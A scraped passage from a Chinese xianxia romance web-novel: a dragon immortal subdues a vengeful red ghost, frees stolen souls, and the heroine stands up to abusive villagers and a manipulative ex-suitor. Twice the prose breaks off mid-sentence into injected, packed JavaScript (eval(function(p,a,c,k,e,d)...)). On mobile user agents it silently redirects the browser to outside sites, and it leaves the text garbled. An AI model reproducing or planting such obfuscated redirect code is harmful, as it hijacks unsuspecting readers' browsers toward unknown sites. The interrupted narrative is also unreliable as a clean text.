龙仙大人挑眉讥笑道:“本尊的妻子,她只要站在本尊面前,抬眼望本尊一次,本尊便能通过她的眼神,辨出真假。至于你,本尊最讨厌别的女人往本尊怀里撞,让本尊恶心!”
说罢,龙仙大人一把甩开她。
许娇顿时像只断线的风筝一般,娇柔轻盈地翩然摔落在地——
“说,把本尊的夫人藏哪去了?”龙仙大人抬手召出一团幽青火焰,居高临下地垂眸睥睨许娇,冷冷质问。
许娇抬手捂着被龙仙掐出青痕的脖颈,冲龙仙挑衅媚笑:“想找你夫人?你猜啊!”
话音落,红煞瞬间化成一团红雾,极快地随风散了去——
下一刻,红煞嚣张的笑声就从头顶四面八方涌过来——
“哈哈哈哈,你以为放了我,还能再轻易抓到我吗?
我告诉你,我是红煞,我可以是一切红色物品,我能变成喜堂上的红纱,也能化为棺材上的一滴血迹,我还能成为新娘耳边的红耳坠!
这世上的男人,都该死,像你这种愿意付诸真心的,更该死!”
龙仙男人不屑弯唇:“哦?是么。”
猛地一道灵力震入地面,顷刻地动棺摇,整个屋子都摇晃欲塌——
上一秒还在嘚瑟放狠话的红煞,下一秒就被龙仙大人的灵力震得从房梁缠绕的红纱上摔落下来!
打脸打的啪啪响。
“本尊最后问一遍,把本尊夫人藏哪了?”龙仙大人冷眸淡淡问。
红煞摔在地上虚弱地喷出一口血,昂头不甘心的迎上龙仙大人冰冷目光,忽然坐起身抬袖施法,一刹那,屋内站满各色与我姿势一样的提灯纸人……
“你夫人就在这些纸人当中……你如果真爱你的夫人,一定能找到她吧!”红煞抹了把嘴角的血,嗤笑道。
我看着眼前的重重纸人身影,一时更慌了!
这间屋子里少说有几百只纸人,花花绿绿的,单是放眼这么看过来就足够眼花缭乱了……纸人长得都一样,这该怎么找啊!
握着灯笼杆的手指僵硬,我尝试与他用意念沟通,可一点效果都没有!
之前在心里喊他名字,他也能听见,为什么现在不行了……
龙仙大人瞟了眼一众红绿纸人,抬步,缓缓走向我——
拂袖分开挡路的纸人。
他,认出我了?
奈何我还来不及高兴,红煞就点了把火将我四周的纸人全燃了……
身畔顿时火光冲天,热气炙人。
龙仙大人一怔,随即迅速快步迈来,抬手不顾火焰灼人,一一触碰那些焚起来的纸人……
原来,他还没有确定哪个纸人是我……他怕我有危险,不惜亲手一一去试。
我看见,他抬起的指腹被烫出紫红水泡。
瞧着他着急穿梭在火海里的身影,我不禁心头一酸……
旁边纸人裙琚上的火焰忽掉落在我脚边,立时就点燃了我的鞋子与裙摆。
我害怕地挺直脊背,已经做好了被烈火烧得缺胳膊少腿的心理准备……
但,两秒后,龙仙大人的目光迎上了我的视线——
几乎是同一时间,我腿边的烈火被龙仙大人拂袖扑灭……
我纸化的身体恢复正常,腿上一软,扑进了龙仙大人怀里。
“阿鸾!”他抱住我,紧张拍着我后背询问:“伤着没?”
我摇头,缓上一口气,赶忙指着身边的绿衣提灯纸人说:“阿漓,救银杏!”
龙仙大人出手极快的一掌神力打过去,强劲掌风霎时将银杏从纸人里放了出来——
“哎呦我的妈,憋死我了!”银杏拍着胸脯大口喘气。
红煞见龙仙大人找到了我和银杏,恼怒发威,施法将我们包围在滔天火海里:“你们都要**,**吧——”
龙仙大人放开我,将我与银杏护在身后,一挥广袖,阴冷飓风顷刻卷灭熊熊烈焰,星点火苗化作红光萤萤飞逝。
满屋仅剩地面那一片纸人焚烧后的黑色灰烬。
红煞也再次被龙仙的法力掀飞撞在墙上,狼狈弹摔在地,艰难撑起身体,捂住胸口呕出血沫……
龙仙大人优雅压下掌心术法,冰冷命令:“把你昨天吞掉的魂,吐出来。”
红煞撑墙踉跄站起身,仇视着龙仙,咬牙有骨气道:“做梦!落进我手里的魂,休想再让我放了它们!”
“你要这些魂,并非自己吸噬。那条蛇精给了你什么好处,让你这么卖力地替她办事?”龙仙大人平静审问。
红煞没有回答,反而抬手凝出冯文的魂魄,一把掐住冯文脖子恶狠狠要挟:“放我走!不然、我就让他魂飞魄散!”
冯文的魂魄站在她身边,双腿抖得厉害,仰着头害怕地伸手向我们求救:
“杏、杏子,镜镜,救我啊,我不想死,我不想做鬼了还要再死一遍,再死,我就彻底完啦……救我,求求你们了!”
银杏翻了个白眼,别过头不看他:“死渣男!”
我嗤之以鼻:“**活该!”
龙仙大人看我们都没有要给冯文求情的意思,负手面不改色道:“本尊,要李银杏的魂,别人的,你爱怎么杀怎么杀。”
一句话瞬间将银杏的好感度拉满,银杏激动朝龙仙背影竖了根大拇指:“龙仙大人威武!”
红煞愣住,没料到我们竟然没按套路来,不死心地瞪大血瞳嘶吼道:
“不、不可能!你不是仙家吗?你们不是来救人的吗?你们不该、阻止我造杀孽吗?电视剧里,不都是这么演的吗?你们是正义的那一方,你们应该阻止我**,应该为了救人,满足我的所有要求!”
银杏没忍住干笑出声:
“你电视剧看多了吧?龙仙大人是因为你拿走了我一缕魂,才来找你算账的。
呐,镜镜是龙仙大人老婆,所以龙仙大人才会护着她,我是镜镜的好朋友,龙仙大人才会看在镜镜的面子上保护我。
你乖乖把昨天摄走的魂吐出来,我们就收工回家了!
那个冯文,和咱们非亲非故,在场这几个人,数你和他最熟悉,关系最近,他死不死关我们什么事?
你拿他威胁我们,你脑子看电视剧看坏了吧!”
红煞被噎得半晌没说出话,怀疑人生的混乱低喃:“怎么会是这样、不该是这样……”
冯文被她掐得快吓哭了,不停痴傻重复:“救我、救我……我不想死啊!”
龙仙大人负手淡漠道:
“我们如果是正义的那一方,而你,就是黑暗邪恶的一方。许娇,难道连你也认为,被负心男人欺辱,承受不住被迫还手,就是邪恶阴毒的做法?
你也认为,女子遭受不公,应该忍气吞声,忍忍就过去了,这样,才是所谓的善良正义?你觉得,你化身红煞,杀了冯文,有错么?”
红煞怔怔昂头,犹豫片刻,坚定摇头:
“我没错,没错!冯文该死!冯文吃我的喝我的用我的,还洗脑我压迫我,明明我才是受害者,可他却嫌我脏!
要不是他说他父母想在老家盖房子,但却没有钱,我怎么可能,那么拼命的工作,怎么会答应和那个无耻之徒一起出差!”
“既然你觉得你没做错,那你又为何会认为,我们会打着正义的幌子,从你手底保下一名死有余辜的无耻之徒。”龙仙大人一语道破重点。
红煞听完这话,却委屈地嚎啕大哭起来:
“那是因为这个社会,本来就对女人不公啊!女人工作能力强,会被人质疑是不是出卖了肉体走了捷径,女人想往上爬,却被人指点野心重,有城府。
女人比伴侣爬得高,工资高,还要被最亲近的人责备抢风头。
女人在外被欺负,也只能打碎牙齿往肚子里咽,甚至不敢把受欺负的事说出来。
无论女人是不是自愿与他人发生关系,外面的人,包括身边的亲人,都只会骂女人水性杨花破鞋**,而男人在外花天酒地,乱搞男女关系,却会被人称作成功人士。
女人身边的异性,是女人的罪证,男人身边的异性,是男人的勋章!
我杀了冯文,她们只会骂我心狠手辣,阴毒可怕,根本不会有人在意,冯文打了我多少次,花了我多少钱,骂了我多少次,对我进行了多少回人格侮辱!
你们这些旁观者,永远都只会同情男人!”
“所以,本尊不同情,你想杀就杀,本尊不是活菩萨,管不了这世间的恩恩怨怨。”龙仙大人不打算为难她,开门见山道:“把昨天收的魂,吐出来,不然今天你出不了这个门。”
红煞愣了一会,摇头畏惧道:“不,我把魂给了你,蛇娘娘会杀了我的……”
我捕捉到关键词,追问道:“是那个蛇娘娘让你变成红煞的?”
红煞哽了哽,含泪坦白道:
“对,我**那天,是蛇娘娘最先发现我的尸体,蛇娘娘问我,甘心就这么死去,不让渣男付出代价吗。我回她,不甘心。
然后,蛇娘娘就和我做了一笔交易,她让我能像正常人一样游走在阳界,把我炼成了红煞,但作为报答,我得给她供奉魂魄。
普通人看见红煞会掉魂,我就把他们掉的一缕魂收集起来,按时上贡给蛇娘娘。每次去交魂魄,她都会给我一粒药,保我肉身不腐,魂魄不散。
如果我迟迟不把魂魄交出去,没有她的药我身体会烂掉,魂魄也会被阳光晒化!”
“你现在已经让冯文付出代价了,心愿已了,难道还不打算下去报到?你想利用这具尸体,继续在阳间人不人鬼不鬼地活着?”龙仙大人威仪问。
红煞哽咽道:
“我知道,执念已了,我在这个世上再无任何牵挂……
可我,错过了下去的时辰,没有阴差来引渡我,我找不到地府之门,我投不了胎了!
我也不想这么人不人鬼不鬼的滞留阳间,可我没有选择!”
“你把魂交给本尊,本尊自有办法,让你去投胎。”
红煞将信将疑地摇头:
“不,蛇娘娘说了,成了红煞,就不能转世了。
地府之门岂是谁想开就能打开的!
而且,我已经错过了投胎的时辰,我**四个多月了,地府那边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424319|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,早就没有我的投胎名额了……
阴间不要我,我只能留在阳界给蛇娘娘做傀儡。
不下地府,我的魂会被晒化,我得拿这批魂魄,去换活下去的药!”
银杏惋惜道:“为了一个恶心的渣男搭上自己的来世,值得么?”
“当然值得!”
红煞不假思索地坚定大吼:
“你不懂,不懂我在这个渣男身边受了多少委屈!
哪怕是同归于尽,我也要让这个渣男死,让这个渣男痛不欲生!
不让这个渣男付出代价,我今生来世,心里都不平衡!”
“本尊可以给你一道符,今晚子时,焚符可入地府,进轮回。这是你唯一的机会,看你自己,想不想要。”
龙仙大人瞟了眼边上烛台的灯火,“你现在,还有半刻钟,七分三十二秒的考虑时间。”
红煞惴惴不安地低头犹豫:“你能让我,下去投胎?你没骗我?!”
龙仙大人负手沉声道:“本尊若想杀你,动动手便可让你魂飞魄散,还需骗你么?”
红煞还是不太敢信:“你只是想要我手里的魂!”
龙仙大人冷嗤:“本尊先杀了你,再夺走你手中的魂,岂不是更简单?”
抬指在虚空潇洒绘出一道朱色金符,绘完,将金符托在掌心。
“子时一到,地府之门大开,这道金符能指引你找到黄泉路,顺利进入鬼门关,踏上轮回道。
你若不放心,可拖着冯文一起下去,待入鬼门关时,自会有鬼差前去接引,押他入冥界判官殿接受审判。”
龙仙大人抬手将金符送过去:“你只有这一次机会,错过这回,你这辈子应该遇不见第二个能送你下去的人了,本尊劝你,珍惜机会。”
红煞看着他手里的金符,跃跃欲试……
“你为什么、要帮我?”
龙仙大人淡淡道:“那条母蛇能和你做交易,本尊也可以。”
红煞警惕地盯了龙仙大人一阵,终究还是伸手将金符接了过去。
把金符牢牢攥在掌心,红煞犹豫片刻,抬手召出一枚流光四溢的魂球——
“这里,装着我最近一个星期收集的所有魂魄,那个女孩的魂也在里面,都交给您处置,是放回他们的本体,还是另作他用,都由您决定。”
红煞对龙仙大人的态度恭敬许多,张了张嘴,继续道:“不过,冯家人的魂,我要带下去,这是他们罪有应得!”
龙仙大人收过魂球,漠不关心道:“本尊对别人的事不感兴趣。”
红煞难以置信地昂头呆呆看了龙仙大人一阵,半晌,才对我说:“小姑娘,你命真好……”
我一时不知道该怎么回应她,但手,却被龙仙温柔握住。
龙仙低眸凝望我,意味深长道:“命好的人,是本尊。”
子夜时分,红煞被金符的光芒带去了另一个世界。
临走,还不忘拎上那个渣男冯文。
一片狼藉的棺材灵堂变回破旧的土坯房,我牵着龙仙大人的手,跟龙仙大人从院子正门离开。
龙仙大人劈开院门后,拧眉好奇问我:“你们方才,是怎么进来的?”
我不好意思地咳了咳,别过头尴尬道:“就、另辟蹊径……”
银杏大大咧咧:“翻墙呗!”
龙仙没忍住轻笑:“你们俩还会翻墙?”
银杏这家伙没心没肺地说:
“那当然!我俩小时候经常一起去郑大爷家偷石榴!他家院墙贼高,但根本难不倒我们,我扛着她,她就上去了,然后再把我也拽上去,我们就翻进去了!”
我丢人捂额:“这种事,就不用和他说细节了……都是小时候不懂事才乱翻。”
银杏故意拆我台:“你前年回来过春节,还带我去翻了沈大爷家没人住的空院子呢!”
我:“……”
龙仙大人弯唇笑笑,知道我尴尬,便夸赞道:“墙翻得好,证明夫人身手敏捷,夫人再接再励!”
我不好意思地挽住他胳膊往他身边挤挤。
银杏揉着鼻头无奈吐槽:“你俩能不能收着点,我这个外人还在场呢!考虑一下我的感受好不好!再说你俩……物种都不同!当心没结果~”
龙仙大人淡定道:“物种不同还能相恋,更证明是真爱。有没有结果,本尊说的才算。”
银杏厚着脸皮歪头道:“我的意思是……你俩以后会有小宝宝吗?你是龙镜镜是人,你俩之间会不会有生殖隔离啊?”
我:“???”
龙仙大人脸黑:“你还想不想要自己的魂了?!”
银杏呛了声,连忙示弱服软:“要要要,我刚才开玩笑的,别放在心上哈,我就是好奇嘛……啊对了,龙仙大人你刚刚是怎么进来的?”
龙仙大人有点不太想搭理她,“穿墙。”
银杏狗腿奉承:“穿墙好啊!龙仙大人真厉害,龙仙大人还会穿墙,龙仙大人真是天下第一好人、呃天下第一好龙!”
过了一会儿,又没忍住继续问——
“那个,天下第一好龙和人之间真的不会有生殖隔离吗?”
“其实吧,不能生,也无所谓的。现在外面的社会男女都向往丁克生活了,丁克你知道是什么意思吗?就是一男一女只结婚,不生孩子。”
“孩子有时候也是一种累赘,以后你和镜镜要是有儿子了,你们俩还得给他攒老婆本,你还没工作,不能赚钱,那养家糊口的担子就落到镜镜一个人肩上了,负担很重的!”
“没孩子,就一身轻松嘛,你和镜镜在一起,攒点钱还能偶尔出去旅个游,享受一下美好生活。”
“所以不能生,也不丢人!”
“你们以后如果真想养孩子,那就再等我几年,等我结婚了,我生个孩子给你们!”
“放心,我和镜镜可是好姐妹,我的崽,就是你们的崽!”
“你不能生,我绝不嘲笑你!”
龙仙大人牵着我,大手越收越紧。
直到听见最后一句话,忍无可忍地彻底黑了脸。
抬掌噌的一下召出一团青色火焰——
“滚!再胡言乱语,本尊杀你灭口!”
第20章 本尊是蛇化龙
银杏被吓得拔腿就跑,委屈吐槽:“妈耶,镜镜你老公脾气真大,脾气大肝火旺,伤肾!当心肾虚!”
我呛咳出声。
龙仙大人黑着脸攥灭掌中青火,咬牙向我告状:“阿鸾,你怎么和这种人成了朋友!蹬鼻子上脸,成何体统!”
我无奈抚了抚龙仙大人胸口,硬着头皮安慰:“好了好了,不气,没必要没必要,气大伤身!”
“她竟说本尊不能生!”龙仙大人拔高声,头一次在我面前失了稳重。
我拼命安抚他老人家的情绪:
“没事没事,阿漓不气,不听她的话,回头我收拾她!不生就不生,咱们以后不生也不给她养孩子,我养你就够了!”
龙仙大人闻言又一怔,看向我的深邃眼神略带委屈:“阿鸾,你也觉得本尊不能生?!”
我立马意识到自己说错了话,挽着他的胳膊胆大冲他撒娇:
“呸呸呸,我说错了,生生生,阿漓什么时候想生什么时候生……乖啊,别理她,她常年口无遮拦。”
龙仙大人深呼吸,拿我没办法地压下心火。
抓住我的手,牵着我往前走了两步,突然又停步。
“她还说本尊肾虚!”
“没,她放屁,你虚不虚我不知道吗!听话,童言无忌,咱不可计较。”我欲哭无泪地使劲浑身解数安慰他。
他一僵,下一秒,突然欺身将我压靠在旁边的一棵柳树树干上。
猝不及防就给我来了个树咚。
斤斤计较地审问我:“那阿鸾你说……本尊虚么?”
我噎住,背靠柳树无奈抽了抽嘴角,面红耳赤地昂头与他四目相对,尴尬吞了口口水:“我倒是盼着你虚点……”
他如果虚,这世上应该没有不虚的男人了。
他清澈的目光落在我酡红的脸颊上,慢慢冷静下来。
倏然抬手拢住我的腰,低头用英俊的侧容蹭了蹭我滚烫耳鬓。
像只讨宠的小兽,薄唇在我耳边印下痴情一吻……
嗓音微哑,低醇醉人:“本尊也不知道为何,每次占有夫人,都欲罢不能。”
“原来,不是夫人拿本尊当解药,而是,本尊把夫人当解药……”
我僵在他怀里,半晌,才耳尖发烫地抬手也搂住他的腰。
以前总以为,龙仙是个凶狠的怪物,**不眨眼的恶魔。
现在才发现,龙仙的心,似乎比任何凡人都干净。
龙仙外表看着高冷,生人勿近。
实则内心深处还藏着一团温暖,特意会心疼人。
——
龙仙大人将带回来的魂球交给了李大叔,由李大叔把那些魂魄释放出来,画符指引他们各回各家,各找各的本体。
银杏的一缕魂也成功找了回来。
次日,清河村发生了一桩惊天动地的大事。
头天傍晚,村南边的冯家大儿子被人掏了心脏残忍杀害。
冯家人报了警,经过警察一夜的勘察研究,最终将犯罪嫌疑人锁定为冯家新娶的大儿媳妇许娇。
于是警方出动几十名人手,连夜将清河村及前后两个村子里里外外搜了遍,翻了个底朝天,最终在清河村东南方向一处早无人居住的破旧土坯屋里找到了许娇。
但,彼时的许娇已经**。
更让人不寒而栗的是,法医在确认许娇的死因时,发现许娇的尸体已经高度腐烂了……
检查结果更是离奇——许娇,已经**四个多月。
由于许娇尸体充满异常情况,所以警方怀疑,许娇的尸身之前被人用特殊手段保存过。
不然**四个多月的尸体,早就烂光没个人形了。
而许娇除了身上多处溃烂,尸体并没有走样,甚至连面容都没有太多变化。
可在许娇身上又查不到别的线索,连警方提出的那个最有可能是真相的猜测——‘有人冒充许娇与冯文结婚,后又杀害冯文’都无从佐证。
种种迹象都表明,这是桩没有结果的悬案。
直到下午,警方在整理许娇遗物时,从许娇一件旧衣的口袋里发现一封信,信上如实交代许娇是怎么被冯文逼死,又是怎么回来报仇的经过。
虽然警方觉得红煞回魂**的事情太过玄幻离谱,可对比许娇生前的字迹,警方发现,信上的文字的确是许娇亲手所写。
而不久,警方又在冯文与许娇的婚床床头,发现墙面渗血,搬开婚床一看,墙上赫然写着一个大大的‘冤’字……
再后来,冯家除了冯章,都变成疯子了。
冯父冯母坐在门口见人就流口水,嘴里嚷嚷着要盖大别墅,要盖新楼房。
冯家小姑冯思雨披头散发疯疯癫癫地剪破自己所有漂亮裙子,痴傻指着墙上冯文与许娇的结婚照,贪婪叫道:
“你!给我钱!我要买最贵的化妆品,要买最漂亮的旗袍……你凭什么穿这么好看,把你的裙子脱下来,脱下来!我要穿……”
可能是因为整个冯家只有冯章没欺负过许娇,所以许娇放了冯章一马。
其余三人,都掉了两魂三魄,沦为疯子。
清河村的人在得知冯文生前的所作所为后,皆是对冯家指指点点。
冯家的事传到我妈耳中时,我妈正在院子里磨豆腐。
宋花枝嗑着瓜子冷嘲热讽:“没那个本事,就别爬外面人的床啊!被家暴打死,也是她太蠢了,握不住男人的心。”
村里的张三摸着花枝光滑的臂膀,被花枝馋得连吞口水,两眼发直地盯着花枝裸露在外的白皙腰腹,附和道:
“就是,如果她像花枝一样诱人,哪个男人舍得打她啊!宝贝花枝,以后你就是我的命根子,你让**什么,我就干什么……”
我听不下去地端着洗衣盆从外面回来:“人都**,你们口下积点德吧!”
花枝瞟见我,翻了个白眼,冷哼一声,故意挎住妈的胳膊和妈亲近:“妈妈你看啊,我今天头上戴的这支银簪花,好看吗?”
我妈转着磨盘,无奈轻推了推她,眉眼间是藏不住的宠溺与疼爱:“好看好看,你往边上站站,耽误**活了。”
宋花枝抬指轻抚头上银簪,存心显摆:“哎呀,这可是妈用自己的银镯子给我重新打的,我戴上肯定好看!妈,从小到大,你最疼我了。”
她故意提银镯子揭我伤疤刺激我,我端着木盆,假装没听见不在乎,心猿意马地大步流星往东院去……
“镜镜。”我妈突然喊住我,可能是意识到现在还不能和我撕破脸,表面功夫还是得做,便推开宋花枝佯作嗔怪:“你姐姐刚才逗你玩呢!花枝,你又调皮了。”
随即温和与我说:“晚点你记得过来拿豆腐,妈今天磨得多,有你的一份。”
我没有回头,只僵着身子敷衍答应:“好。”
但,那个老色狼张三却打起了我的主意,色眯眯地盯着我,和我妈感慨:
“哎,族长大姐,你还别说,你家鸾镜脸上干净以后,样貌生得是不错!比花枝有过之而无不及啊!”
宋花枝闻言不悦地咬牙切齿道:“那当然啊,我妹妹可是真正的骨仙转世,我这个冒牌货,哪能比呢!”
张三见花枝不高兴,当即嬉笑着去哄她:
“哎呦花枝儿,你长得也漂亮!谁不知道你是咱们村鼎鼎有名的第一美人,你可是咱们九黎族最漂亮的圣女!啧,小妮子,还吃醋!”
宋花枝暗搓搓威胁:“以前或许是,现在不是了,毕竟你们都说,妹妹比我长得好看。可惜,我妹妹对龙仙痴心一片,你敢打她的主意,当心龙仙也让你**。”
张三一听这话顿时就慌了,污言秽语地贬低道:
“呸呸呸,提这个做什么,晦气!还是我们的花枝儿人美心善,这种丧门星催命鬼,我可无福消受,不过,据尝着味儿的王麻子和李三说,她的身体可没你好摸……”
我听不下去地攥紧手中木盆。
身后的张三还在不知死活地造谣讨好宋花枝:
“她啊,都和龙仙那种畜生在一起了,我可不敢碰,我嫌脏。还是花枝儿好,每次都勾得我心花怒放。龙仙也就是没尝过花枝儿你的滋味,如果他也能在你的床上温存一夜,肯定转头就把这个小杂种给甩了!”
我砰地一声摔了木盆,转头快步往宋花枝与张三跟前去。
张三见我脸色难看,仗着有妈和花枝在,厚颜无耻地理直气壮挑衅:“哎呦,小鸾镜炸毛了,啧啧,你生气又能拿我怎样,我说的可都是实……”
不等他放完屁,我就一把拎起妈腿边的水桶,猛地将桶里泡豆子的井水全泼出去,兜头浇他个透心凉!
浇完还不解气,我抓了一把妈磨好的豆渣,狠狠掷在了他的大脸盘子上——
张三刚被浇得浑身湿透,又突然被豆渣糊住眼,吓得他七手八手慌忙抹脸上的东西。
“你、你这个小杂种干什么呢!”张三大吼。
宋花枝也被我此举吓到,嫌弃地抬手遮鼻,默默远离张三。
我负气将水桶用力砸在他脚下,吓得他往后蹦了一大步。
“嘴巴脏就跳河里洗洗!再让我听见你造谣胡说八道,我让龙仙把你舌头割下来!”我冲他怒吼。
张三理亏的抹着脸上豆渣,双目圆瞪盯着我,错愕得半晌也没憋出一句完整话:“你、你怎么能……你、扫把星!”
我妈顿住手上动作,“镜镜……”
正想帮张三说话,我却一点面子也不给地转头回到东院门口,端起一盆洗干净的衣物,快步迈进自己的地盘。
张三在院子里憋屈地向妈告状:“族长,你看这个小野种!真是越来越无法无天了!”
宋花枝也在中间拱火:“就是啊妈,人家现在有龙仙撑腰了,谁都不怕了,连妈你的面子都敢不给,你瞧她刚才还给你甩脸子呢……”
——
进了院子,我把盆里洗干净的衣物晾晒起来。
有人从后揽住我的腰,温柔亲吻我的耳尖。
“方才,做得好。”
我怔住,老实地待在他怀里:“我现在只不过是、狐假虎威……”
“这不是挺好的么?至少阿鸾学会了反抗,学会了,在面对不公时勇敢出手,为自己争口气。”他说。
我想了想,赞同点头:“嗯。”
“阿鸾……”他扮过我的身体,暧昧地与我亲近。
我感受到他怀里的炙热,抬眸迎上他眼中的意乱情迷,耳尖发烫地小声道:“阿漓……你怎么,总不嫌累啊。”
这种事做多了,我会废的!
他低头霸道地吻住我唇,吐息灼人,亦是压低嗓音浅浅和我说:“春天来了,难免会心情浮躁,需要夫人帮忙降降火。”
我双手撑住他胸膛,面红耳赤地好奇问:“那你从前,都是怎么过来的?每年都有春天……你是不是,也找别的女仙家,降过火?”
他闻言顿了下,之后吻我吻得更卖力,气喘吁吁地揉握着我两侧腰窝,沉声道:
“从未有过。阿鸾,你是本尊唯一的女人……本尊只和你,有过肌肤之亲。以前没有阿鸾在身边,本尊并不会有那种感觉……只是如今阿鸾在本尊怀里,本尊便、把持不住……”
我被他折腾的骨头都酥了,柔弱地缩在他怀里,这才心情舒坦的也抱住他。
“我、也只和你在一起过。外面不方便,我们去屋里。”我趴在他胸膛上,小鸟依人的羞涩道。
他听罢我的话,弯腰轻松将我打横抱起来,带回卧房。
月洞床外红纱垂落,我熟能生巧地扯开他身上繁复衣带。
指腹搭在他光滑的宽肩上,他深情吻了吻我,大手沿着我的腰腹往下……
“阿鸾,永远不要怀疑本尊对你的忠诚。”
我咬住他的脖颈,哽咽一声。
“嗯。”
“阿鸾,我可以、把命给你……”
此情此景,我总觉得他是想要我把命给他……
体力撑到极限时,我大口呼吸氧气,无奈问他:“你怎么这样能闹?”
他含住我的耳垂我与缠绵厮磨,低笑一声。
“阿鸾没听说过,蛇龙贪欢么?本尊既是蛇,又是龙。”
我稳稳心神,好奇问:“什么意思?”
他扣紧我的手,迎来又一波云雨。
“本尊,是蛇化龙。”
我恍然明悟。
蛇化龙,就是由蛇飞升而成的龙。
怪不得龙仙大人会有两种真身形态呢。
——
傍晚,我拖着快要散架的酸痛身子去前院找妈拿刚磨好的豆腐。
我妈见着我就不打算轻易放我走,还像往常一样使唤我给她干活。
将一兜嫩豆腐递给我,我妈嘱咐道:
“把这份豆腐送给秦家老太太,那老太太常年独居,身边也没个老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427720|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伴与儿孙照应,想吃点新鲜东西难上加难。
今天家里磨的豆腐有余剩,咱们分她一点,豆腐好做,丢锅里炒青菜或者做汤都简便,适合给老人家当下饭菜。”
实话实说,我妈这个族长,做得确实尽职尽责。
我拎过豆腐,二话没说就答应了。
毕竟这点小事,没必要偷奸耍滑惹妈又生气。
但,就在我把豆腐送到秦家老太太手里,原路返回时,却在半路巧合地遇见了赵二哥……
赵二哥蹲在路边柳树下吸烟,一见到我,就激动地迎了上来。
“镜镜!”
我人还没反应过来,他的手就已经握住了我的手。
“镜镜,你的脸……终于没事了!我就说,花枝的洗身水还是有用的!”男人两眼放光地欣喜盯着我。
我不自在的用力把手抽回来,生疏的后退一步:“赵二哥,你有事吗?”
赵二见我有意同他保持距离,眼里的光黯了黯,片刻后又摆出一副在乎心疼我的样子,沉声道:
“你的遭遇,我都知道了……都怪我,没有早点和你做夫妻,这样龙仙就不会强迫族长把你嫁给他了!上次见面,我就该直接要了你的身子,哪怕你恨我也好,总胜过委身一个怪物。”
我被他的惊天言论给震得神魂抖了三抖,惊讶瞪大眼睛望着他,“你要不要听听你在胡说些什么?!”
那是**,是犯法的!
他不会觉得自己这么做了,很男人吧!
赵二可能脑子有病,自信满满地再次抓住我双手,深情与我对视,疯狂自我感动:
“我都听花枝说了……你心里还是有我的,你只是接受不了我和别人上了床,而这个别人还是你姐姐。
你姐姐从小就比你受到的宠爱多,所以你对你姐姐心中有怨,这我能理解!
你凡事都想和你姐姐比,所以在看见我和你姐姐在一起时,你崩溃,你嫉妒,你觉得你姐姐抢走了我!
是,之前是我不对,我没有提前和你商量,镜镜你这么善解人意,知道我家需要花枝的洗身水治病,肯定会答应我与花枝睡一夜的。
是我不好,我把你想的小气了!现在好了,你姐姐的洗身水没有用了,我们又能过正常日子了。
镜镜,我答应你,以后我一定好好待你,只爱你一个人!
你别生我的气,既然你也忘不掉我,那就回到我身边,好不好?”
“我嫉妒我姐姐?我小气?我还要回到你身边?”
我气极反笑,狠狠甩开他手凝声坚定道:
“从你爬上花枝床开始,我就对你没有任何好感了!是,也许你当初也是迫不得已才那样做,但我接受不了,我理解你救亲人心切,也请你理解我和你三观不合。”
他着急争辩:“什么三观四观的,镜镜,你就是被大城市那一套给绕昏了头……以前的男人还是三妻四妾呢,再说,现在村里哪个男人没有和你姐姐睡过,那王麻子还和陈寡妇常年偷偷摸摸呢!”
我冷冷道:“可我不喜欢这样,我现在也不喜欢你。花枝和你说,我心里还有你?她骗你的,我现在生活得很好,早就把你我的过往给忘了!”
他拧眉不死心地试图说服我:“可是镜镜,你嫁了个怪物!怪物怎么懂得疼人?镜镜,你听话,回到我身边,赵二哥保护你!”
我嗤笑一声,“当面尊称龙仙,背地却口口声声喊他怪物,真是虚伪至极!”
突然意识到,哪里好像不大对劲。
我冷静下来,抬眸试探他:“龙仙可不好惹,你抢了他的女人,难道就不怕他报复你?”
赵二虚伪地凑近我,一腔爱意演得挺逼真:
“我不怕!镜镜,自从失去你,我才发现你原来对我这么重要,你就是我的心,你走了,我整天魂不守舍,无精打采。
就算他是龙仙又怎么样!有本事他杀了我!只要你愿意,我拼上这条命也要带你远走高飞!”
“真的吗?那赵二哥就不怕,连累你的家人?”我故意软下语气。
赵二果然以为我被他感动了,眼底一亮,激动握住我的手,“我不怕!为了你,刀山火海我都敢闯……”
我弯唇:“是么?”
赵二的手,悄悄攀上我腕边玉镯,垂眼有意无意地扫那镯子,眼底渗出丝丝贪婪:
“镜镜,跟我走吧。不过,在走之前,你把这只镯子摘下来,免得被龙仙发现。”
我冷笑一声,这么快就原形毕露了。
深呼一口气,我开门见山地问:“宋花枝,挺想要这只镯子吧?她需要这只镯子,帮她永葆青春。”
赵二片刻后才缓过神,心虚地着急昂头解释:“不、不是,镜镜你听我解释,事情不是你想的那样……”
我果断抽手甩了甩,恶心不已:“别碰我,我嫌脏!”
“镜镜!”
他还要来扯我胳膊,却被我反手一巴掌扇在脸上,当场扇懵。
我好笑不已地讥讽道:
“为了帮宋花枝骗走我的镯子,你们还真是无所不用其极!不过,忘记告诉你们了……”
我举起手腕上的镯子,看向脸上被扇出五个手指印,迟迟没有反应过来的赵二淡定说:
“这镯子是龙仙大人给的,只有龙仙大人能摘掉它,别人,是取不下来的。”
放下胳膊,我转身要走,但临行前,我又回头补充了句:
“龙仙大人不是怪物,他比你们所有人都重情重义,都疼爱我!你们的喜欢在意,我并不需要!”
还想用感情**我,真当我蠢啊!
——
